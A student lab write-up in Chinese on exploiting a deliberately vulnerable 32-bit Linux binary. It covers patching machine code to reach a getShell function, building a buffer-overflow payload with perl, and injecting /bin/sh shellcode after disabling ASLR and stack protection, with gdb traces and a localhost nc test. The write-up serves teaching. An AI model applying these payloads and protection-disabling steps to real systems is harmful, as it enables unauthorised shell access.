2020-2021-2 20181312 【网络对抗技术】 Exp1 PC平台逆向破解

Exp1 PC平台逆向破解

序言

这次实验使用的实验对象是一个名为pwn1pwn1的下载链接)的linux可执行文件,按照实验要求,我们需要将文件名中的1替换为学号。

我们可以通过file命令查看文件格式。

file pwn20181312

可以看到它是一个ELF格式的32位可执行文件,系统架构是Intel80386

pwn20181312: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

但是显然这样的信息还不够,我们需要了解一些更重要的数据来认识这个可执行文件,这个时候我们可以使用readelf命令来读出整个ELF文件头的内容。

readelf -h pwn20181312

如图所示,我们可以看到这是一个小端文件,这是一个实验过程中会用到的重要信息。

小端,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中。

该程序正常执行流程是:main函数调用foo函数,foo函数会简单回显任何用户输入的字符串。

但是,该程序同时包含另一个代码片段getShell函数,它会返回一个可用Shell。正常情况下这个代码是不会被运行的。

我们的目标就是想办法运行这个getShell代码片段。本次实验中需要学会两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

本次实验还需要一点点的汇编语言知识,汇编有两种写法:8086汇编和AT&T汇编。

  • 8086是我们常看到的,在网上大部查到的也是,其中MOV指令是从右到左。
  • AT&T中的MOV指令是从左到右。如果汇编里有%, 像%ebp,就是AT&T汇编语言,也就是我们这次实验用的。

一、实验内容

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode

二、一些需要掌握的知识

2.1 NOP,JNE,JE,JMP,CMP汇编指令的机器码

指令 机器码 作用
NOP 0x90 no operation,使程序计数器PC1cpu继续执行其后一条指令
JNE 0x75 若不相等则转移
JE 0x74 零/等于
JMP 0xE9 无条件转移
CMP 0x3B compare指令进行比较两个操作数的大小

2.2 反汇编与十六进制编辑器

2.2.1 反汇编

指令是objdump,我们可以使用man objdump查看功能

2.2.2 十六进制编辑器

vim中输入:%!xxd即可编辑器中将内容以十六进制的形式显示

修改完后,输入:%!xxd -r即可将上述转化为十六进制的信息转换回二进制显示

2.3 能正确修改机器指令改变程序执行流程

即实验过程的第一部分3.1

2.4 能正确构造payload进行bof攻击

即实验过程的第三部分3.3

三、实验过程

3.1 直接修改程序机器指令,改变程序执行流程

3.1.1 对目标文件反汇编

objdump -d pwn20181312 | more

找到其中关键的函数getShellfoomain

注意到在main函数中有这样一条指令call 8048491 <foo>,它用于调用foo函数,foo的地址是08048491,我们只要将其修改为getShell的地址0804847d就成功了,但是我们不能直接修改这个汇编代码,只能通过修改机器码实现汇编代码相应的改动。

3.1.2 计算需要修改的机器码

call指令的机器码是e8,由于是小端序,其后的d7ffffff实际上是ffffffd7,它是-41的补码,而41就是0x2980484ba +ffffffd7=80484ba-29=8048491,也就是foo的地址。

接下来,只要计算出getShellmain地址偏移量对应的补码就能对call指令的机器码做出相应的改动了。

80484ba-804847d=3d0x3d61-61的补码是11000011,也就是c3,其余高位补全f,因此,我们只要将main函数中call指令的机器码e8 d7 ff ff ff修改为e8 c3 ff ff ff就能实现目标。

3.1.3 修改机器码

先对原始文件做一次备份再开始修改

cp pwn20181312 pwn20181312.bak
vim pwn20181312

可以看到该二进制文件是一串乱码

输入:%!xxd,使之以十六进制显示,并输入/d7ff ffff搜索该字符。

按下Enter将光标停在此处,将d7修改为c3即可。

输入:%!xxd -r将十六进制转换为原格式,输入:wq保存退出。

3.1.4 验证修改是否有效

反汇编查看文件

objdump -d pwn20181312 | more

可以看到main函数中call指令的机器码已经被修改为e8 c3 ff ff ff

输入./pwn20181312运行pwn20181312,发现它成功唤起了一个终端,同样的在这个终端中运行pwn20181312.bak,可以发现它还是最初回显输入字符串的功能。

修改成功!

3.2 通过构造输入参数,造成BOF攻击,改变程序执行流

首先使用备份文件恢复原始文件

cp pwn20181312.bak pwn20181312

3.2.1 对原始文件反汇编,了解程序基本功能

objdump -d pwn20181312 | more

可以看到

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret    

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret    

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax
 80484bf:       c9                      leave  
 80484c0:       c3                      ret    
 80484c1:       66 90                   xchg   %ax,%ax
 80484c3:       66 90                   xchg   %ax,%ax
 80484c5:       66 90                   xchg   %ax,%ax
 80484c7:       66 90                   xchg   %ax,%ax
 80484c9:       66 90                   xchg   %ax,%ax
 80484cb:       66 90                   xchg   %ax,%ax
 80484cd:       66 90                   xchg   %ax,%ax
 80484cf:       90                      nop

这个可执行文件正常运行是main函数调用foo函数,然鹅该函数存在Bufferoverflow的漏洞,于是我们可以利用这个漏洞,取消原本正常执行的foo函数回显输入字符串的功能,触发原本不能执行的getShell函数。

于是,我们首先可以观察foo函数。

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret    

注意到,其中一句lea -0x1c(%ebp),%eax,这句话表示系统预留了0x1c字节,亦即28字节的缓冲区,若输入超过28字节,超出部分就会发生溢出,我们的目标是让溢出部分覆盖返回地址,并使覆盖返回地址的机器码恰好是getShell函数的地址。

080484af <main>:
 80484af:       55                      push   %ebp
 80484b0:       89 e5                   mov    %esp,%ebp
 80484b2:       83 e4 f0                and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:       b8 00 00 00 00          mov    $0x0,%eax

main函数中有一句call 8048491 <foo>,这句call指令调用foo函数,会先将下一句指令地址80484ba存在EIP寄存器并压入堆栈,再跳转到foo函数的地址。此时堆栈上就有了返回地址80484ba

3.2.2 输入可辨识的字符串,确认哪几位字符可以恰好覆盖到返回地址

直接进入程序调试

gdb ./pwn20181312

如图所示,第一个箭头的指向为我的输入,红框和第二个箭头指向为返回地址0x38373635,转换为十进制即为8765,也就是我的输入11112222333344445555666677771234567890中的5678这四位数,这说明输入内容的第33位至第36位会覆盖返回地址。

当程序遇到这个被覆盖的返回地址,CPU会尝试执行这个位置的代码,进而发现并没有东西,所以产生Segmentation fault——段错误。只要我们把这四个字符替换为getShell的内存地址,输入给程序,程序就会运行getShell函数。

3.2.3 确认覆盖返回地址的内容

0804847d <getShell>:
 804847d:       55                      push   %ebp
 804847e:       89 e5                   mov    %esp,%ebp
 8048480:       83 ec 18                sub    $0x18,%esp
 8048483:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:       e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:       c9                      leave  
 8048490:       c3                      ret 

在这里可以看到getShell的地址是0804847d

由于程序是小端序,所以输入为11112222333344445555666677771234\x7d\x84\x04\x08即可。

3.2.4 构造输入字符串

\x7d\x84\x04\x08这样的十六进制符号是无法直接通过键盘输入的,因为直接输入会被读取为16个字符,为此我们需要先生成一个包含这串字符的文件,以文件代替直接输入。

perl -e 'print "11112222333344445555666677771234\x7d\x84\x04\x08\x0a"' > input

这句话用输出重定向把perl生成的字符串存储到input文件中

可以看到新出现了一个input文件。

使用十六进制xxd查看指令查看input文件,可以看到文件内容正如预期的一样。

xxd input

然后我们可以通过管道符|input作为pwn20181312的输入

(cat input; cat) | ./pwn20181312

可以发现我们成功打开了终端。

当然,如果要省去重定向步骤也是可以的。

3.3 注入Shellcode并执行

3.3.1 准备好的shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

3.3.2 准备工作

下载安装prelink,否则无法使用execstack命令

下载地址

放入kali解压,进入prelink文件夹打开终端

sudo apt install libelf-dev
./configure
make
sudo make install

安装成功后,即可开始修改一些pwn20181312的设置

execstack -s pwn20181312    //设置堆栈可执行
execstack -q pwn20181312    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示2则表示目前是开启状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要启动最高权限
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示0则表示目前是关闭状态

3.3.3 构造要注入的payload

首先,我们要知道在Linux下有两种方式构造攻击buf的方法

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

由于返回地址retaddr在缓冲区中的位置是固定的,shellcode要么在它前面要么在它后面,如果缓冲区小,就把shellcode放后边,如果缓冲区大就把shellcode放前边。

nop指令在汇编中是空指令,什么事也不做但占用一个时钟周期,其作用便是填充缓冲,只要EIP寄存器所存的返回地址所指向的位置能够落在被nop指令覆盖的地方,那么nop后的真正的shellcode就能无条件地被执行。

3.3.3.1 第一次构造
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

输入如上命令构造输入字符串重定向至input_shellcode文件,其中\x4\x3\x2\x1将覆盖到栈上返回地址的位置,它需要被修改为这段shellcode的地址。构造的字符串最后一位不能像之前一样是\x0a,这是因为我们之后需要使函数运行中途停下并使用gdb确定该函数运行过程中各寄存器所存地址,如果有回车符则函数无法在运行中途停下。

下面我们来确定\x4\x3\x2\x1应该是什么。

(cat input_shellcode;cat) | ./pwn20181312

如图所示,函数输入由于没有收到回车符,所以停在了这里,我们便可以打开另一个终端查询该进程进行调试。

ps aux | grep pwn20181312

由此可知./pwn20181312的进程号是8131,启动gdb调试这个程序。

gdb
attach 8131

由于我之前是在root用户下执行这个程序的,所以现在调试它也需要进入root用户。

disassemble foo

ret指令返回之前的EIP寄存器所存值对应的地址,如果我们在这行设置断点,则当运行停在断点时,注入内容已存入了栈上,此时再运行,则将会跳转到我们所修改的那个地址上去。

break *0x080484ae

设置好断点后在另一个终端按下回车使程序继续执行,回到这个终端输入

c

可以看到另一个终端显示

回到gdb

info r esp

根据显示的ESP的值0xffffd52c,可以输入

x/16x 0xffffd52c

顺利找到0x01020304,可以顺势向前寻找,地址减去28字节

x/16x 0xffffd510

看到0xc0319090了,再向前4个字节即可

x/16x 0xffffd50c

看到0x90909090,找到shellcode的起始地址0xffffd50c

继续运行程序

c

由此可知,程序的返回地址占位也是正确的,退出gdb即可。

为节约shellcode所占空间,我们可以将返回地址修改为0xffffd510而不是0xffffd50c

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd5\xff\xff\x00"' > input_shellcode

再次运行

(cat input_shellcode;cat) | ./pwn20181312

发现仍然没有成功!

3.3.3.2 寻找失败原因

跟之前一样,这里使用gdb寻找失败原因

运行程序后输入

ps aux | grep pwn20181312

查找进程号

启动gdb

gdb
attach 8426
break *0x080484ae
//先去另一个终端按下回车
c
info r

ESPEIP都是正确的地址。

x/16x 0xffffd510

这里的buf看起来也没有问题。

接下来进行单步调试,可以对照如下shellcode的汇编查看

//si是step instruction的简写,表示运行一条指令
si

一直运行si,直到出现Segmentation fault

前两个si运行的是nop指令,第三个si运行的是xor %eax,%eax,所以出问题的是第九个si,它运行的是push %eax,因为在那之后的第十个sipush %ebx就出现了段错误,说明在push %eax之后的下一条指令的代码的地址不正确了。

info r

这里原先ESP指针应该在0xffffd524EAXpush之后放在栈顶,栈顶指针向上移动,此时的栈顶指针ESP所存值是0xffffd520,但是EIP指针指示的当前代码的地址是0xffffd522,于是显而易见,栈顶指针的增长使得当前代码及之后的部分的shellcode的指令覆盖掉了,所以无法继续执行了。

通俗地说,shellcode的代码是从低地址向高地址增长的,函数栈是从高地址向低地址增长的,函数栈增长的过程中将shellcode的内容覆盖了。

3.3.3.3 第二次构造

这一次我们使用的结构为:anything+retaddr+nops+shellcode

之前通过x/16x 0xffffd52c查看了返回地址

于是可知shellcode的地址是0xffffd530,可以构造

perl -e 'print "A" x 32;print "\x30\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
xxd input_shellcode

(cat input_shellcode;cat) | ./pwn20181312

成功了!

3.3.4 结合nc模拟远程攻击

在同一主机上进行模拟攻击

首先是在主机1上模拟一个有漏洞的网络服务

nc -l 127.0.0.1 -p 28234  -e ./pwn20181312
//-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

然后是在主机2上连接主机1并发送攻击载荷

(cat input_shellcode; cat) | nc 127.0.0.1 28234
ls

但是发现并不成功

在主机2输入ls后,主机1报出了如下错误

zsh: illegal hardware instruction  nc -l -p 28234 -e ./pwn20181312

先是想着可能是因为端口28324没有被打开

lsof -i:28324

发现端口确实没有被打开,于是打开端口重新测试

nc -lp 28234 &   //打开28234端口
netstat -an | grep 28234    //查看28234端口是否被打开

似乎成功了。

但是可惜仍然没有成功,且下图所示情景也只出现了一回,之后重复尝试再也没有出现过。

3.3.5 尝试复现准备好的shellcode

3.3.1中直接给出现成的shellcode,并没有介绍它是怎么来的,目前只知道它是在32位的Linux环境下通过静态编译源代码得到的,同时对生成的可执行文件关闭了堆栈保护和堆栈执行保护,关闭了地址随机化。

源代码可能如下:

#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
    execve("/bin/sh",buf,0);
    exit(0);
}

我尝试着复现shellcode的生成,却发现似乎无论如何都无成功了。

gcc -static -m32 shellcode.c -o shellcode

此时若报错缺少sys/cdefs.h这样的头文件,可在参考资料中寻求帮助。

随后对得到的可执行文件反编译

objdump -d shellcode | more

<_start>这个模块中却得到了如此长的机器码,与老师给出的有很大出入。

我猜想很大的可能是因为我的电脑不是32位电脑,以至于无法复现3.3.1所给出的机器码。

3.4 Bof攻击防御技术

3.4.1 防止注入

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

GCC 中的编译器堆栈保护技术

3.4.2 即使注入了也不可运行

结合CPU的页面管理机制,通过DEP/NX来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行

我们可以通过如上命令将堆栈设置为可执行。

3.4.3 增加shellcode构造难度

我们构造shellcode需要猜测返回地址位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都无效了。

我们使用/proc/sys/kernel/randomize_va_space来控制Linux下内存地址随机化机制address space layout randomization,它有三种情况

  • 0:关闭进程地址空间随机化
  • 1:表示将mmap的基址,stackvdso页面随机化
  • 2:表示在1的基础上增加堆heap的随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要启动最高权限
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示0则表示目前是关闭状态

3.4.4 代码管理

加强编码质量

注意边界检测

使用最新的安全库函数

3.4.5 目前的64位系统

目前大多数电脑都是64位系统,这对于Bof攻击的影响非常大。基本先天免疫,其中一个原因是地址空间大,每个地址都有大量00,无法有效注入。

可以参考x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique.pdf(这是一个PDF下载链接)。

四、实验收获与感想

通过这一次逆向破解实验和时间跨度长达十五个小时多的博客撰写过程,我体会到了解决问题和深究其中原因的乐趣。在这一次实验中,我学会了许许多多的之前从未接触过或是接触过但不够熟练的知识,比如研究可执行文件和所用到的反汇编指令objdump、学了一点汇编语言中最最基础的内容、学会了如何为程序输入十六进制字符、学会构造简单的shellcode、结合上学期学的《深入理解计算机系统》和上上学期学的《计算机组成原理》再一次深入理解了程序在计算机底层的运行机理;除了老师讲解的部分,我还增加了比如3.3.3.23.3.5两小节中额外的分析。总之,这次实验收获很大。

五、一些需要回答的问题

5.1 什么是漏洞?

漏洞是计算机体系或安全策略中存在的缺陷,它的存在能使攻击者能够在未授权的情况下访问或破坏系统。

5.2 漏洞有什么危害?

常见的漏洞有SQL注入漏洞、XSS跨站脚本漏洞、信息泄露漏洞等。

  • SQL注入漏洞的危害:可以使数据库中存储的用户信息泄露、可以通过操作数据库对特定网页进行篡改、可以篡改管理员用户达到不可告人的目的。

  • XSS跨站脚本漏洞的危害:可以发起钓鱼攻击、网站挂马、获取用户Cookie并利用它得到网站操作权限、发送垃圾信息、监视用户在web上的行为

  • 信息泄露漏洞的危害:内网ip的泄露可能会使攻击者进入内网、数据库信息的泄露会让攻击者知道数据库类型从而降低攻击难度、网站调试信息泄露可以让攻击者知道网站使用的编程语言和使用的框架、帐号密码文件的泄漏可能导致攻击者直接操作网站后台或数据库、源码文件的泄露可能会让攻击者从源码中分析出更多其它的漏洞。

六、参考资料

x86汇编指令

ESP与EBP的使用

函数调用过程中函数栈详解

Linux下的ELF可执行文件的格式解析

fatal error: sys/cdefs.h解决方案

  • 在使用gcc -static -m32编译文件时报错/usr/include/features.h:461:12: fatal error: sys/cdefs.h,显示缺少sys/cdefs.h这样的头文件,可以参考这个博客。

NOP空指令介绍

GCC 中的编译器堆栈保护技术

矛与盾:二进制漏洞攻防思想对抗

https://www.exploit-db.com/

posted @ 2021-03-06 21:17  临渊履冰  阅读(418)  评论(0编辑  收藏  举报